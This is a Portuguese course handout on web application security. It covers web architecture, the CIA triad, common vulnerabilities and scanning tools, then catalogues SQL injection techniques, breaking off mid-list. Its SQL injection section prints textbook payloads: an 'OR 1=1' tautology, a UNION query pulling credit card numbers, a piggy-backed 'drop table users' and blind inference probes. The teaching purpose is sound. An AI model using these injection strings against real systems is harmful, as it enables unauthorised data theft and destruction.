Segurança em aplicações Web

Prévia do material em texto

1 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
2 
 
SUMÁRIO 
1 INTRODUÇÃO ..................................................................................... 3 
2 APLICAÇÕES WEB ............................................................................. 4 
2.1 Surgimento da Web ...................................................................... 4 
2.2 Arquitetura Cliente-Servidor .......................................................... 6 
2.3 Aplicações ..................................................................................... 8 
3 CONCEITOS DE SEGURANÇA .......................................................... 9 
3.1 Confidencialidade, Integridade e Disponibilidade ........................ 11 
3.2 Vulnerabilidades mais comuns .................................................... 13 
3.3 Qualidade do código ................................................................... 14 
3.4 Criptografia .................................................................................. 15 
3.5 Vazamento de informações ......................................................... 15 
4 PRINCIPAIS VULNERABILIDADES WEB ......................................... 22 
4.1 INJEÇÃO DE SQL ...................................................................... 22 
4.2 QUEBRA DE GERENCIAMENTO DE SESSÃO ......................... 26 
5 SCRIPTS ENTRE SITES ................................................................... 30 
6 REFERÊNCIA INSEGURA A OBJETO DIRETO ............................... 33 
7 CONFIGURAÇÃO INCORRETA DE SEGURANÇA .......................... 34 
8 EXPOSIÇÃO DE DADOS SENSÍVEIS .............................................. 35 
9 FALTA DE CONTROLE EM NÍVEL DE ACESSO ............................. 36 
10 FALSIFICAÇÃO DE SOLICITAÇÃO ENTRE SITES ...................... 37 
11 USANDO COMPONENTES COM VULNERABILIDADES 
CONHECIDAS ...................................................................................................... 39 
12 ENCAMINHAMENTO E REDIRECIONAMENTOS INVALIDADOS 40 
13 REFERÊNCIAS .............................................................................. 42 
 
 
 
 
 
 
 
3 
 
1 INTRODUÇÃO 
 
Prezado aluno! 
 
 O Grupo Educacional FAVENI, esclarece que o material virtual é 
semelhante ao da sala de aula presencial. Em uma sala de aula, é raro – quase 
improvável - um aluno se levantar, interromper a exposição, dirigir-se ao professor 
e fazer uma pergunta, para que seja esclarecida uma dúvida sobre o tema tratado. 
O comum é que esse aluno faça a pergunta em voz alta para todos ouvirem e todos 
ouvirão a resposta. No espaço virtual, é a mesma coisa. Não hesite em perguntar, 
as perguntas poderão ser direcionadas ao protocolo de atendimento que serão 
respondidas em tempo hábil. 
Os cursos à distância exigem do aluno tempo e organização. No caso da 
nossa disciplina é preciso ter um horário destinado à leitura do texto base e à 
execução das avaliações propostas. A vantagem é que poderá reservar o dia da 
semana e a hora que lhe convier para isso. 
 A organização é o quesito indispensável, porque há uma sequência a ser 
seguida e prazos definidos para as atividades. 
 
Bons estudos! 
 
 
 
 
 
 
 
 
 
 
4 
 
2 APLICAÇÕES WEB 
2.1 Surgimento da Web 
https://veja.abril.com.br 
Conforme Aquino (2006), em 1989, o Centro Europeu de Pesquisa Nuclear 
(CERN), enfrentou dificuldades para se comunicar entre seus pesquisadores, que 
eram lotados em distintos projetos desenvolvidos não só na base do instituto, 
situada na Suíça. Para trocar informações sobre as pesquisas feitas, os cientistas 
do CERN usavam documentos em papel, provocando atrasos na troca de 
informações entre os grupos de pesquisadores e o risco da perda de conhecimento. 
Com intenção de solucionar esse problema o engenheiro Tim Berners-Lee criou em 
1990 a World Wide Web (TAHA, 2017). 
A World Wide Web tem como iniciativa a recuperação de informação 
hipermídia em longa distância que tem como finalidade fornecer entrada a um vasto 
universo de documento conforme o próprio site do (CERN, 2017 apud TAHA, 2017). 
 Trata-se da maneira de distribuir e oferecer ingresso a documentos 
hipermídia por meio da Internet, na qual um usuário requer através de um browser 
https://veja.abril.com.br/
 
5 
 
um documento ou página situada em determinado endereço que referencia um 
servidor web que ficará fornecendo tal conteúdo. Além disso Tim Berners-Lee 
elaborou uma linguagem de marcação de texto, conhecida por HyperText Markup 
Language (HTML), que precisaria ser usada para a constituição dos documentos 
que seriam partilhados através da web (TAHA, 2017). 
 O desenvolvimento desmedido da internet sobreveio devido ao uso da web 
e sua maneira de repartição de conteúdo, que excedeu a tarefa de partilhar saberes 
entre cientistas de um núcleo de pesquisas e consentiu a troca de informações entre 
pessoas de todo o mundo (TAHA, 2017). 
Para compreender o funcionamento básico da web é preciso conceituar 
alguns termos fundamentais como HTML, URL e links. A maior parte das 
documentações presentes na web são notórios também como páginas web, que 
exibem conteúdo do tipo textual, imagens, vídeos e outros. Essas páginas podem 
ser encontradas através de um identificador. Oliveira (2012) apud Taha (2017) 
expõe que cada página web exibe um identificador único conhecido por URL 
(Uniform Resource Locator). A URL é uma continuação de caracteres, que 
acompanha um determinado esquema e conjunto de regras de construção, sua 
finalidade é identificar e consentir a localização de um recurso disponível na web, 
conforme exposto na RFC 1738 (BERNERS-LEE; MASINTER; MCCAHILL, 1994 
apud TAHA, 2017). 
Pode-se falar que o esqueleto dessas páginas é o HTML, que definirá como 
o conteúdo visualizado ficará estruturado e como será ajuntado em seções distintas. 
O HTML é uma linguagem de marcação que descreve ao navegador como uma 
página web deve ser apresentada ao usuário, marcando textos e outras informações 
com dados conhecidos por tags. Esses dados podem determinar se um conteúdo é 
uma imagem, definir que certo texto fique em negrito e conectar documentos entre 
si. As páginas web podem estar conectadas entre si por meio de links, que são 
elementos que sugerem ao navegador que ele deve solicitar determinado conteúdo 
numa URL específica (TAHA, 2017). 
Desta forma, alguém com acesso à Internet pode se conectar a web e 
visualizar uma página por meio de um navegador, somente digitando a URL, e o 
 
6 
 
navegador encaminhará a requisição ao servidor, que provê o conteúdo neste 
endereço, e que voltará como resposta uma página web ou determinado tipo de 
conteúdo, que serão apontados no próprio navegador (TAHA, 2017). 
Hoje em dia a web não trata mais somente de acesso a páginas estáticas 
conectadas através de links, (UTO, 2013 apud TAHA, 2017). Os desenvolvedores 
notaram na Web uma boa oportunidade para iniciar a criação de aplicações 
distribuídas e essas aplicações deixam que inúmeros usuários acessem seus 
recursos por meio de um navegador, sem necessidade de instalar o software 
localmente. De acordo com as informações produzidas pelo usuário, uma aplicação 
pode prover distintas respostas e de modo dinâmico modificar seu conteúdo em 
resposta às requisições ao servidor de aplicações que precisará estar online. 
Nesses casos é preciso a conexão com a Internet, embora já existem aplicações 
que aceitam você trabalhar localmente sem conexão e quando ficar online é 
concretizada uma sincronia dos dados (TAHA, 2017). 
 
2.2 Arquitetura Cliente-Servidor 
https://pt.wikipedia.org 
https://pt.wikipedia.org/
 
7 
 
Ao requerer páginas ou serviços na web, um usuário utiliza- se o modelo 
cliente-servidor. Conforme Held (2000) apud Taha (2017), essa arquitetura 
determina fundamentalmente que um ou mais computadores, conectados numa 
rede,peçam a um ou mais servidores na mesma rede ou na Internet, conteúdo e 
serviços, que estes não têm acesso ou que não podem estar disponíveis no lado 
cliente sem passar antes por um conjunto de medidas de segurança para 
provimento do serviço ou por questões de capacidade de processamento de dados. 
 Hoje em dia os sistemas na web já operam com um modelo conhecido por 
arquitetura de 3 camadas. Held (2000) apud Taha (2017), informa que essa 
arquitetura exibe ―um servidor de aplicação que é a objeto central do novo modelo. 
Ele pode ser referido como um middleware, situado entre clientes e fontes de dados 
ou sistemas legados, que gerencia e processa aplicativos de três camadas‖ (TAHA, 
2017). 
Nos sistemas em 3 camadas, figura 1, o cliente pede a grande parte dos 
recursos ao servidor de aplicações pois têm vários recursos que operam com amplo 
processamento e volume de informações, com cálculos complicados, upload de 
conteúdo multimídia e que exigem alto poder de processamento nem sempre 
disponível nas máquinas cliente (TAHA, 2017). 
 O modelo Web seguido nessa arquitetura, isola a entrada aos dados do 
lado cliente, buscando impedir questões de segurança, por isso temos na maioria 
das vezes a entrada a um banco de dados somente por meio de requisições ao 
servidor, que precisará dar ou não autorização de acordo com os privilégios do 
usuário (TAHA, 2017). 
 
 
8 
 
 
 
 Figura 01 - Modelo cliente-servidor de 3 camadas 
 
2.3 Aplicações 
 
Para (KAPPEL, 2004) apud Taha (2017), uma aplicação Web é um sistema 
de software fundamentado em tecnologias e padrões do World Wide Web 
Consortium (W3C) que providencia recursos específicos de Web, como conteúdo e 
serviços por meio de uma interface de usuário, o Web browser‖. 
Di Lucca e Fasolino (2006) apud Taha (2017), asseveram que uma 
aplicação web pode ser estimada como um sistema distribuído, apresentando uma 
arquitetura multicamadas, com entrada concorrente por diversos usuários em vários 
lugares do mundo, ajustado com ambientes de cumprimento heterogêneos. Ainda 
segundo os autores, uma aplicação web pode ser componentizada, isto é, cada 
elemento pode exibir tecnologias distintas, como a linguagem de programação 
usada em sua construção, e ter a habilidade de causar conteúdo dinâmico de 
acordo com a interação do usuário, a entrada de dados e o estado do servidor 
(TAHA, 2017). 
 
9 
 
Essas aplicações são sistemas mais difíceis do que páginas estáticas na 
web. A interação com o usuário torna-se mais frequente, tem um enorme número 
de condições funcionais que consentem aos usuários gerar dados que geralmente 
são persistidos em banco de dados e que são usados para determinar conteúdo 
dinâmico a ser exibido pela própria aplicação. Essas aplicações na maioria das 
vezes empregam o modelo de 3 camadas, onde na camada de cliente ou exposição 
o usuário por meio da interface da aplicação faz requisições à camada de lógica de 
negócio, especificamente ao servidor de aplicações, que pode pedir ou encaminhar 
informações à camada de dados, e também responder às cobranças, gerando 
conteúdo dinâmico a ser oferecido na camada cliente (TAHA, 2017). 
 
3 CONCEITOS DE SEGURANÇA 
 
https://triplait.com 
https://triplait.com/
 
10 
 
 O nascimento da Web e o ligeiro aumento de computadores conectados às 
redes, faz com que as pessoas compartilhem cada vez mais informações na 
Internet. Atualmente existem muitos sistemas complexos e que processam dados 
sensíveis de milhares de pessoas. Podemos citar como exemplo o Internet banking, 
Sistema de gerenciamento de bancos por meio do qual as pessoas podem executar 
tarefas que antes eram realizadas apenas em agências bancárias. Tomando esse 
sistema como exemplo, você pode tentar imaginar que tipo de dados o usuário está 
trocando com o servidor que mantém essa aplicação. Senha e login são exemplos 
de informações que o usuário necessita preencher para poder acessar o sistema. 
Se um usuário for concretizar uma transferência de recursos, ele deverá outra vez 
digitar a senha para aprovar a transação e provavelmente informar uma chave de 
segurança que ele recebeu da instituição, ou ter acesso a certificados digitais que 
demonstram sua autenticidade (TAHA, 2017). 
Em um sistema de e-mail de uma organização é provável que aconteça a 
troca de informações confidenciais e relevantes. Esses e outros exemplos, 
evidenciam que nós partilhamos e guardamos várias informações, seja por meio da 
Internet ou em redes locais, e que necessitam de um certo nível de segurança para 
impedir que terceiros tenham acesso indevido, que utilizem nossos dados ou até 
mesmo se façam passar por nós (TAHA, 2017). 
Segurança da informação protege a informação de muitos tipos de ameaças 
para garantir o prosseguimento do negócio, diminuir o risco ao negócio, elevar ao 
máximo o retorno sobre os investimentos e as oportunidades de negócio.‖ 
(ASSOCIAÇÃO BRASILEIRA DE NORMAS TÉCNICAS, 2005, p. 9 apud TAHA, 
2017, p. 12). 
 
11 
 
3.1 Confidencialidade, Integridade e Disponibilidade 
 
http://www.controlonce.com/ 
As três propriedades fundamentais de segurança, são compostas por: 
confidencialidade, integridade e disponibilidade (CID), conhecidos como seus três 
pilares de sustentação (TAHA, 2017). 
 Recursos computacionais, documentos e informações que necessitam 
permanecer protegidos e em segredo só poderão ser acessados por entidades que 
tenham autorização para isso. Conforme Pfleeger e Pfleeger (2007) apud Taha 
(2017), a confidencialidade é a propriedade que garante que esses recursos só 
possam ser acessados por quem verdadeiramente tem autorização, e se não tiver, 
não poderá visualizar, acessar, distribuir ou imprimir algo. 
Os dados de um prontuário médico eletrônico só podem ser vistos pelos 
profissionais da saúde com permissão e acesso ao prontuário e pelo paciente a 
quem se propõe o prontuário, se por ventura alguém não autorizado tenha acesso 
a esse documento, até mesmo o físico, perde-se a propriedade de confidencialidade 
(TAHA, 2017). 
http://www.controlonce.com/
 
12 
 
Entrada indevida à e-mails, mensagens criptografadas, contas de vários 
serviços, roubo de dados de transações eletrônicas, são exemplos de problemas 
unidos à confidencialidade. Bishop (2005) apud Taha (2017), assevera que têm 
mecanismos para o controle de acesso aos dados, como a criptografia, que na 
maioria das vezes por meio de inúmeras operações matemáticas e de controle, 
torna os dados incompreensíveis, criptografados. 
Os algoritmos criptográficos mais contemporâneos costumam fazer uso de 
chaves, que são parâmetros passados ao algoritmo para que este cifre os dados e 
que uma pessoa não autorizada não consiga decifrá-los sem conhecer a chave. 
Isso provoca outro problema, deve-se garantir a confidencialidade da chave (TAHA, 
2017). 
 A propriedade de integridade tem como finalidade garantir se dada 
informação ou recurso é garantido ou não, geralmente trata da integridade dos 
dados, ou seja, do conteúdo da informação, e da raiz desses dados (BISHOP, 2005 
apud TAHA, 2017). Uma informação é correta e confiável se ela não ocorreu 
nenhuma adulteração e se for possível confirmar ou ter garantias da integridade da 
sua origem. Podemos citar como exemplo o episódio de um usuário concretizando 
o download de uma imagem de disco no formato .iso e que ele adoraria de saber 
se os dados estão íntegros, que não tenha acontecido nenhuma falha durante o 
processo, sem perder qualquer dado, ou que um software mal-intencionado 
instalado em seu computador não tenha mudado os dados, ou até mesmo ter 
efetivado o download de um arquivo que é dito ser de tal origem, mas na verdade é 
de outra. (TAHA, 2017). 
Em Bishop (2005) apud Taha (2017), são oferecidas duas maneiras de 
garantia dessa propriedade. A primeira forma trata dos mecanismos de prevenção, 
que buscam bloquear tentativas nãoautorizadas de modificar os dados e o uso de 
caminhos não autorizados para modificar os dados. A segunda forma são 
mecanismos de detecção que corroboram que a integridade dos dados não é mais 
seguro, podendo utilizar recursos do sistema para gerar alertas com informações 
do motivo da corrupção dos dados. 
 
13 
 
 Segundo a Shirey (2000, p. 17) apud Taha (2017, p. 14) disponibilidade é 
a ―propriedade de um sistema ou um recurso do sistema ser utilizável e acessível 
mediante demanda por uma entidade do sistema permitida, de acordo com as 
especificações de performance do sistema.‖ Quando têm disponibilidade, usuários 
ou serviços aprovados precisam acessar dados, serviços e sistemas (PFLEEGER; 
PFLEEGER, 2007 apud TAHA, 2017). Por exemplo, se um usuário pagar por um 
serviço de streaming de dados, como serviços de transmissão de vídeos, séries e 
filmes, e no contrato com o sistema que promove o streaming é proposto que este 
deve estar disponível em data e hora específica, o serviço precisaria estar. Há 
muitos problemas que podem tornar esses recursos indisponíveis, como desastres 
naturais, problemas de conexão de servidor, falhas de desenvolvimento dos 
sistemas e indisponibilidade por quantidade de acessos maior que a tolerada 
(TAHA, 2017). 
Um dos ataques mais famosos da atualidade é o Distributed Denial of 
Service (DDOS), ataque de negação de serviço, que objetiva tornar um sistema 
indisponível por meio da efetivação de acessos e envio de pacotes em ampla escala 
à sistemas, com intenção de exceder a capacidade de processamento dos 
servidores desses sistemas, tornando-os vagarosos e impossíveis de se usar 
durante o ataque, ou até mesmo derrubando o serviço (TAHA, 2017). 
 
3.2 Vulnerabilidades mais comuns 
 Vulnerabilidades ocorrem tanto no mundo real como no mundo virtual. 
Vulnerabilidades no mundo virtual são as brechas que atacantes se aproveitam para 
burlar o funcionamento correto do sistema ou, ainda, roubar informações deste 
(FELIPE; BARBOZA, 2018). 
Assim, a exploração de vulnerabilidades ocorre de forma rápida e sorrateira. 
Administradores de sistemas e especialistas em segurança da informação devem 
trabalhar em conjunto para identificar e diminuir essas falhas para que os sistemas 
 
14 
 
funcionem de forma plena e sem erros ou dados incorretos em seu meio (FELIPE; 
BARBOZA, 2018). 
Para McClure, Scambray e Kurtz (2014) apud Felipe; Barboza, (2018)., o 
perfil é importante para a segurança, sendo “[...] uma combinação de ferramentas e 
técnicas, acompanhadas de uma boa dose de paciência e ordenação mental, os 
invasores podem pegar uma entidade desconhecida e reduzi-la a uma gama 
específica de nomes de domínio, blocos de rede, sub-redes, roteadores e 
endereços IP individuais de sistemas diretamente conectados à Internet, assim 
como muitos outros detalhes pertinentes”. Como ponto de partida no estudo das 
vulnerabilidades mais comuns, tem- -se um artigo publicado por Wade (2015) apud 
Felipe; Barboza, (2018), que cita as mais populares, sendo a ordem decrescente de 
ocorrências: 
• qualidade do código; 
• criptografia; 
• vazamento de informações; 
• CRLF injection; 
• cross-site scripting; 
• acesso indevido; 
• validação de dados deficiente; 
• SQL injection; 
• gerenciamento de credenciais falho; 
• Erros de time ou state; 
 
A seguir, estudaremos o que significa cada um dos itens elencados no 
ranking caracterizados por Wade (2015) apud Felipe; Barboza, (2018). 
 
3.3 Qualidade do código 
 
 
15 
 
 Como principal vulnerabilidade elencada, está a criação de código ruim por 
parte do time de desenvolvimento responsável pelo sistema em foco. Muitas 
empresas investem em frameworks para assegurar o aceitável de qualidade nos 
sistemas criados por meio do emprego de boas práticas, bem como adotar medidas 
mais rigorosas ao enviar um novo código para o ambiente de produção (FELIPE; 
BARBOZA, 2018). 
 
3.4 Criptografia 
 
Segunda colocada no ranking, a criptografia deve ser utilizada sempre nas 
comunicações via rede de computadores, garantindo que a mensagem chegue 
íntegra e sem ter a chance de que, caso caia em mãos erradas, essa pessoa possa 
ter acesso ao seu conteúdo. Com a popularização da internet e dos sistemas, a 
área de criptografia não deve ser negligenciada em nenhuma hipótese (FELIPE; 
BARBOZA, 2018). 
 
3.5 Vazamento de informações 
 
Medalha de bronze no ranking, o vazamento de informações pode ocorrer 
em duas frentes distintas: interna ou externa. O vazamento interno seria, por 
exemplo, algum funcionário que verifica informações as quais não deveria ter 
acesso. Já o vazamento de informações externo é quando algum invasor consegue 
acesso ao sistema e rouba os dados contidos nele (FELIPE; BARBOZA, 2018). 
 
CRLF injection 
 
 
16 
 
O CRLF injection é um dos mais fáceis de se evitar e está na quarta posição 
do ranking. Por meio do CRLF injection, é possível que, pelos códigos maliciosos 
em lugares corretos, o invasor consiga dados confidenciais do sistema ou até 
mesmo do próprio computador infectado do usuário vítima (FELIPE; BARBOZA, 
2018). 
 
Cross-site scripting 
 
Também conhecido como XSS, o cross-site scripting utiliza sites com 
conteúdo não estático. Por meio da execução de código malicioso pelo invasor, este 
consegue o controle do computador da vítima e rouba sessões legítimas do usuário. 
Para realizar esse tipo de ataque, são usados caracteres especiais que o sistema 
interpreta como parte do código do próprio sistema de forma equivocada (FELIPE; 
BARBOZA, 2018). 
 
Acesso indevido 
 
Outro tipo de invasão que é facilmente evitado por meio de uma consultoria 
adequada. O acesso indevido é quando o invasor, por meio de brechas de 
segurança na comunicação entre o servidor e o navegador do cliente, rouba acesso 
do usuário vítima e também as informações contidas na sessão (FELIPE; 
BARBOZA, 2018). 
 
Validação de dados deficiente 
 
 Todo campo de dados que o sistema receberá deve ser tratado. Entenda 
por entrada qualquer campo em que o usuário irá entrar com um valor e esse valor 
deve ser processado ou salvo pelo sistema. Assim, campos como nome, login, 
senha ou endereço, por exemplo, no cadastro de cliente, devem ser validados para 
conferir se está recebendo somente caracteres permitidos e não aceitar Exploração 
 
17 
 
de falha de segurança 3 entradas inválidas ou caracteres especiais, tais como 
exclamação, interrogação, cifrão, asterisco, etc (FELIPE; BARBOZA, 2018). 
 
SQL injection 
 
 O SQL injection já foi um problema maior, mas ainda continua no ranking 
top 10. Por meio de inserção de SQL, o banco de dados do sistema estará muito 
comprometido. Roubo de dados nesse problema é só o começo. Dados podem ser 
modifi cados e o sistema pode não corresponder mais à realidade que deveria, 
portanto, é um estrago dos piores. Gerenciamento de credenciais falho Quem, 
quando e o que cada usuário pode acessar. Uma manutenção nas credenciais de 
acesso nunca deve ser postergada, como a exclusão de permissão ou usuários, por 
exemplo. O sistema deve conter somente e pelo tempo necessário os usuários com 
permissões de acesso na alçada necessária (FELIPE; BARBOZA, 2018). 
 
 Erros de time ou state 
 
Por fim, com um ambiente complexo e recheado de atividades em paralelo, 
um sistema deve sempre ter a sua disposição pessoas autorizadas a desempenhar 
cada um dos papéis necessários ao seu bom funcionamento. Assim, evita-se a 
execução de códigos não autorizados por pessoas que, mesmo com as mais boas 
e inocentes intenções, podem prejudicar o sistema como um todo ou em parte 
(FELIPE; BARBOZA, 2018). 
 
Análise de vulnerabilidades 
 
Identificada uma vulnerabilidade, o que deve ser feito a seguir? Ao se 
deparar com uma vulnerabilidade no sistema ou na rede de computadores, é 
importante realizar os levantamentos do impacto de que essa vulnerabilidadepode 
ocasionar aos usuários ou dados do sistema. Com isso mensurado, deve-se 
 
18 
 
ponderar sobre a correção imediata ou postergar a atividade caso o impacto não 
seja significativo (FELIPE; BARBOZA, 2018). 
A análise de vulnerabilidade é de suma importância para o desenvolvimento 
de correções e melhorias futuras no software ou na rede de computadores projetada 
(FELIPE; BARBOZA, 2018). 
A análise de vulnerabilidade é sempre importante para definir como e 
quando deverá ser sanada uma falha ou brecha de segurança sistêmica: 
imediatamente, em pequeno, médio ou longo prazo (FELIPE; BARBOZA, 2018). 
 
 O início das vulnerabilidades é sustentado por um dos três pilares abaixo: 
 
• Erros de programação: código-fonte com brechas de segurança, 
portanto, violáveis aos ataques. 
• Falha humana: ações realizadas por pessoas consideradas vítimas de 
algum outro crime virtual, como links falsos, malwares, vírus, etc. 
• Má configuração: contar com sistemas de bloqueios com configuração 
deficitária, portanto, não abrange a totalidade do sistema. 
 
Para definir a correção ou não do problema, deve-se analisar a 
vulnerabilidade em algumas medidas para tomar a decisão sobre o que fazer. Por 
exemplo: se uma vulnerabilidade é muito complexa de ser resolvida e o risco de 
ficar vulnerável é razoável para a empresa, essa vulnerabilidade possivelmente não 
será solucionada até que exista tempo hábil ou necessidade para tal (FELIPE; 
BARBOZA, 2018). 
 A análise de vulnerabilidade vem para suprir essa lacuna, sendo que 
Santos (2018) apud Felipe; Barboza, (2018), diz que ela “[...] trata basicamente do 
processo de identificação de falhas e vulnerabilidades (brechas) conhecidas 
presentes no ambiente e que o expõem a ameaças. Essas falhas podem ser 
causadas por diversos motivos”. 
Santos (2018) apud Felipe; Barboza apud (2018). também indica os 
objetivos da análise de vulnerabilidade da seguinte forma: 
 
19 
 
 
• Identificar e tratar falhas de softwares que possam comprometer seu 
desempenho, sua funcionalidade e sua segurança. Exploração de falha de 
segurança 
• Providenciar uma nova solução de segurança, como o uso de um bom 
antivírus, com possibilidade de update constante e implementação de sistemas de 
detecção e prevenção de intrusão. 
• Alterar as configurações de softwares a fim de torná-los mais 
eficientes e menos suscetíveis a ataques. 
• Utilizar mecanismos para bloquear ataques automatizados (worms, 
bots, entre outros). 
• Implementar a melhoria constante do controle de segurança. 
• Documentar os níveis de segurança atingidos para fins de auditoria e 
compliance com leis, regulamentações e políticas. 
 
Aplicando o gerenciamento de vulnerabilidades 
 
Para identificar e até mesmo mensurar uma vulnerabilidade, podemos 
utilizar diversas ferramentas para auxílio. Verificaremos quatro ferramentas ao todo 
neste capítulo, sendo: 
 
• Port scanner; 
• Protocol analyzer; 
• Vulnerability scanner; 
• Honeypots. 
 
Port scanner 
 
Com utilitários de escaneamento de portas, é possível descobrir portas que 
estejam abertas para acesso em servidores ou computadores da rede. 
 
20 
 
O port scanner mais conhecido é o Nmap. Com sintaxe simples e rápida, é 
possível descobrir em segundos quais portas estão liberadas para conexão. A 
seguir, veja na Figura 1 uma imagem do resultado do Nmap (FELIPE; BARBOZA, 
2018). 
 
 
 
Como pode-se observar nas últimas três linhas do retorno do comando, 
existem três portas abertas nesse alvo colocado, sendo 22 com o serviço ssh, 80 
com o serviço web/http e a 443 com o serviço web/https (FELIPE; BARBOZA, 2018). 
Como o alvo se trata de um site bem conhecido, a porta 22 estaria liberada 
de forma desnecessária. Ninguém deveria acessar esse servidor por ssh 
diretamente, mas, sim, por meio de outro host com vpn e outros degraus de 
segurança (FELIPE; BARBOZA, 2018). 
 
Protocol analyzer 
 
Este grupo contempla as ferramentas de análise de tráfego de rede, 
podendo verificar com base em protocolo trafegado (udp ou tcp), endereço IP de 
origem, endereço IP de destino, entre outras informações do pacote de dados em 
trânsito (FELIPE; BARBOZA, 2018). 
Nesta área de protocol analyzer, a ferramenta chamada tcpdump é a mais 
difundida. Isso ocorre por ela ser extremamente leve, com sintaxe fácil de entender, 
precisa e muito completa em suas opções (FELIPE; BARBOZA, 2018). 
 
Veja a Figura 2. 
 
 
21 
 
 
 
 
 
 
 
 Figura 2. Tcpdump 
. 
 
Na Figura 2, é possível ver o resultado de um tcpdump na máquina local. 
Repare que a ordem de apresentação do resultado é: 
 
• Horário; 
• IP de origem; 
• porta de origem; 
• IP de destino; 
• porta de destino; 
• protocolo; 
• tamanho (FELIPE; BARBOZA, 2018). 
 
 Para lermos o resultado apresentado tomando por base as informações da 
primeira linha da imagem capturada, temos: 
 
• horário: 21h43m35s 
• IP de origem: 216.58.202.3 
• porta de origem: 443 
• IP de destino: 192.168.15.5 
• porta de destino: 41971 
• protocolo: UDP 
• tamanho: 288 (FELIPE; BARBOZA, 2018). 
 
 
22 
 
 Assim, a leitura direta ficaria algo semelhante a: 
 
Às 21h43m35s, o IP origem 216.58.202.3 e porta 443 transmitiu 
informações/pacotes para o IP destino 192.168.15.5 na porta 41971 utilizando 
protocolo UDP e comprimento de 288 (FELIPE; BARBOZA, 2018). 
 
 Vulnerability scanner 
 
 Grupo completo de ferramentas que indicam uma varredura completa do 
sistema, exibindo dados de versões de softwares, atividades, updates necessários, 
sistema operacional, banco de dados, etc (FELIPE; BARBOZA, 2018). 
 
Honeypots 
 
Para atrair invasores, coletar informações sobre estes e, até mesmo, distrair 
a sua atenção do sistema que realmente é importante, deve-se utilizar a ideia de 
honeypots, que são iscas criadas dentro da rede ou sistema para direcionar as 
invasões para esse ambiente e, dessa forma, livrar o ambiente (FELIPE; BARBOZA, 
2018). 
 
4 PRINCIPAIS VULNERABILIDADES WEB 
4.1 INJEÇÃO DE SQL 
 O ataque via injeção de SQL do inglês SQL injection, ocorre quando um 
código SQL é inserido ou concatenado aos parâmetros de entrada providos pelo 
usuário e em seguida o código é enviado ao banco de dados que o interpreta e 
executa (CLARKE, 2009 apud MONTEVERDE, 2014). Qualquer estrutura que 
trabalhe com o SQL pode ser mira para ataques de injeção de SQL, e já que é um 
ataque direto a base de dados, se torna um dos mais ameaçadores tipos de invasão, 
 
23 
 
podendo revelar todas as informações contidas no banco de dados que foi invadido 
(MONTEVERDE, 2014). 
Halfond et al. (2006) apud Monteverde (2014) expõe diversos tipos de 
injeção SQL: 
• Tautologia (Tautology) - Esse tipo de ataque injeta sentenças SQL 
para a consulta condicional, a sentença a ser avaliada é sempre veracidade. No 
exemplo do Quadro 1, 1 = 1 é sempre verídico e se o aplicativo não valida a entrada 
do usuário de forma correta, então todos os registros da base de dados serão 
alcançados com a injeção deste código (MONTEVERDE, 2014). 
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ OR 
 1=1 −−AND p a s s = ’ ’ 
 
Quadro 1: Exemplo Tautologia. 
 Consultas Ilegais/Logicamente Incorretas (Illegal/Logically Incorrect 
Queries) - O alvo do ataque é compreender as propriedades da base de dados. 
Quando esse tipo de consulta é executado, o sistema gerenciador de banco de 
dados (SGBD) volta uma mensagem de erro. A análise do erro pelo atacante poderá 
permitir a identificação do SGBD, como por exemplo tipo, versão e etc. O Quadro 2 
exemplifica a consulta (MONTEVERDE, 2014). 
 
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ AND 
 p a s s = ’ ’ AND pi n = c o n v e r t ( i n t , ( s e l e c t t o p 1 name from 
s y s o b j e c t s whe rext y p e = ’ u ’ ) ) 
 
Quadro 2: Exemplo de Consulta Ilegal. 
 
24 
 
 União de consultas (UnionQuery) - Esse ataque utiliza o operador UNION 
que concretiza uniões entre duas ou mais consultas, o Quadro 3 retrata um exemplo 
de consulta usando o operador UNION (MONTEVERDE, 2014). 
 
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ UNION SELECT ca rdNo f rom 
C r e d i t C a r d s whe re acctN o =10032 −− AND p a s s = ’ ’ AND pi n = 
 
Quadro 3: Exemplo de Consulta utilizando o operador Union. 
 Consulta extra (Piggy-Backed Queries) - Nesse tipo de ataque, o atacante 
adiciona uma consulta extra à consulta original, como segue exemplo do Quadro 4 
(MONTEVERDE, 2014). 
 
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ doe ’ AND 
p a s s = ’ ’; d r o p t a b l e u s e r s −− ’ AND pi n =123 
 
Quadro 4: Exemplo de Consulta Extra. 
 Procedimentos Armazenados (Stored Procedures) - Um procedimento é 
um grupo de instruções transacionais guardados em um exclusivo plano de 
execução. A exemplo procedimento armazenado é dado no Quadro 5 
(MONTEVERDE, 2014). 
 
CREATE PROCEDURE a ut h e n t i c a t e U s e r (IN u se r name VARCHAR 
(1 6) , IN p a s sw o r d VARCHAR ( 3 2 ) ) 
BEGIN 
SELECT * FROM members WHERE member_username= user name 
 
25 
 
AND member_passwo rd= p a s sw o r d; 
 END 
 
Quadro 5: Exemplo de procedure armazenada. 
Dependo do tipo de consultas gravadas como procedures as próprias 
podem ser vulneráveis a muitos tipos de injeção. No código exemplo o procedimento 
gravado é vulnerável a ataques do tipo piggybacked queries e tautologies 
(MONTEVERDE, 2014). 
 Inferência (Inference) - Neste tipo de ataque, o atacante nota o 
comportamento na aplicação Web fundamentado em uma série de consultas 
verdadeiro/falso com distâncias de tempos diferentes entre cada consulta. Com uma 
cuidadosa análise do comportamento da aplicação o atacante identifica os 
parâmetros vulneráveis. Estes ataques compões dois tipos: blind injection e timing 
attacks, no primeiro o atacante formula questões que contenham resultado 
verdadeiro/falso ao SGBD e na segunda o atacante ajunta informações de um 
SGBD por meio da análise no tempo de atraso nas respostas do sistema SGBD 
alvo, o Quadro 6 exemplifica a consulta usada nesta técnica; 
 
SELECT accounts FROM users WHERE login = ’ legal User ’ 
 and 1=0 −− ’ AND pass = ’ ’ AND pin =0 
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ l e g a l U s e r ’ 
 and 1=1 −− ’ AND pass = ’ ’ AND pin =0 
 
Quadro 6: Exemplo de consulta utilizando a técnica de Inferência 
 
26 
 
 ∙ Codificações Alternativas (Alternate Encodings) - Nesta técnica, os 
invasores mudam uma consulta injetando codificação alternativa, como 
hexadecimal, ASCII e Unicode. Desta forma, podem evadir filtros de caracteres 
especiais de entrada conhecidos "bad character", um exemplo deste tipo de 
